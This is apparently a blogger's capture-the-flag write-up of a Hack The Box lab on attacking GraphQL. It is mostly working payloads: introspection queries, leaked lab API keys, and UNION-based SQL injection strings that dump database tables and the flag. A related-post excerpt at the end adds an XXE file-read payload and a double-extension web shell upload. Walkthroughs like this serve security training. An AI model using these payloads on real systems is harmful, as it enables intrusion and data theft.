↓ Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

Attacking GraphQL Skill Assessment | CWES on HTB

Attacking GraphQL Skill Assessment | CWES on HTB

Exploiting GraphQL introspection to leak API keys, then chaining SQL injection through customer queries to dump the flag.

·883 words·5 mins·
Table of Contents

First explored the request and decided to see if the GraphiQL endpoint is enabled.

I started my test by sending an introspection query to know the relations between objects and queries.

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

After visualizing it in https://apis.guru/graphql-voyager/ it looks like:

image

I noticed activeApikeys and wanted to retrieve the data on it so just typed:

{
  activeApikeys {
    id
    role
    key
  } 
}

The output is:

{
  "data": {
    "activeApiKeys": [
      {
        "id": "QXBpS2V5T2JqZWN0OjE=",
        "role": "guest",
        "key": "fbb64ce26fbe8a8d8d6895b8e6ba21a3"
      },
      {
        "id": "QXBpS2V5T2JqZWN0OjI=",
        "role": "guest",
        "key": "9cf8622bbc9fdc78f245663e08e5b4c1"
      },
      {
        "id": "QXBpS2V5T2JqZWN0OjM=",
        "role": "admin",
        "key": "0711a879ed751e63330a78a4b195bbad"
      }
    ]
  }
}

We now have the API key of the admin which may be used later.

Enumerating Mutations and Arguments
#

My approach is to dump the database to see if there is a flag, so I wanted to test if there is SQLi in any argument. First I need to know which queries accept arguments.

I queried for mutation options using:

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

Queries with Arguments
#

QueryArgumentsData Type
nodeidID (String)
employeeByUsernameusernameString
productByNamenameString
allCustomersapiKeyString
customerByNameapiKeyString
customerByNamelastNameString

Mutations with Arguments
#

MutationInput Fields
addEmployeeusername (String), employeeId (Int), role (String)
addProductname (String), stock (Int)
addCustomerapiKey (String), firstName (String), lastName (String), address (String)

SQL Injection Testing
#

The approach now is to test each one with injection types to know which one is injectable.

Approach 1: employeeByUsername
#

{
  employeeByUsername(username: "admin") {
    username
    employeeId
    role
  }
}

Boolean-based detection:

{
  employeeByUsername(username: "admin' AND '1'='1") {
    username
  }
}

{
  employeeByUsername(username: "admin' AND '1'='2") {
    username
  }
}

Error-based detection:

{
  employeeByUsername(username: "admin'") {
    username
  }
}

{
  employeeByUsername(username: "admin'\"") {
    username
  }
}

UNION-based (4 columns: id, username, employeeId, role):

{
  employeeByUsername(username: "x' UNION SELECT 1,'test',2,'test'-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -") {
    username
  }
}

Approach 2: productByName
#

{
  productByName(name: "someproduct") {
    name
    stock
  }
}

Error-based:

{
  productByName(name: "product'") {
    name
  }
}

UNION-based (3 columns: id, name, stock):

{
  productByName(name: "x' UNION SELECT 1,'flag',999-- -") {
    name
    stock
  }
}

{
  productByName(name: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -") {
    name
  }
}

{
  productByName(name: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='flag'-- -") {
    name
  }
}

{
  productByName(name: "x' UNION SELECT 1,flag,3 FROM flag LIMIT 1-- -") {
    name
  }
}

Approach 3: allCustomers (apiKey)
#

{
  allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad") {
    firstName
    lastName
    address
  }
}

Error-based:

{
  allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad'") {
    firstName
  }
}

UNION-based (4 columns: id, firstName, lastName, address):

{
  allCustomers(apiKey: "x' UNION SELECT 1,'flag','flag','flag' FROM some_table-- -") {
    firstName
    lastName
    address
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    firstName
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    firstName
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -") {
    firstName
  }
}

Approach 4: customerByName — The Vulnerable Endpoint
#

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Smith") {
    firstName
    lastName
    address
  }
}

Test apiKey:

{
  customerByName(apiKey: "x' UNION SELECT 1,'a','a','a'-- -", lastName: "Smith") {
    firstName
  }
}

Test lastName:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,'a','a','a'-- -") {
    firstName
  }
}

UNION-based enumeration on lastName:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    firstName
  }
}

This retrieves the tables:

{
  "data": {
    "customerByName": {
      "firstName": "api_key,employee,flag,product,customer"
    }
  }
}

Now get the columns:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    firstName
  }
}

This gives us:

{
  "data": {
    "customerByName": {
      "firstName": "id,flag"
    }
  }
}

Reading the Flag
#

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(flag),3,4 FROM flag-- -") {
    firstName
  }
}

NOTE: The structure of the query and the number of columns we knew from the visual diagram which customerByName needs 4 columns so we made this in our UNION payload.

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

File Inclusion Skill Assessment | CWES Path on HTB

·754 words·4 mins
The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

Write Ups For Challenges I Created In CAT CTF 26 Entry Level

·1460 words·7 mins
Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.

File Upload Skill Assessment | CWES Path on HTB

·560 words·3 mins
Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST "154.57.164.61:30775/contact/upload.php" \ -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \ <<< '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg>' The parameters of the payload got from the HTML code inspection: <input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> We got the source code encoded, after decoded, we knew the logic: <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --> DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.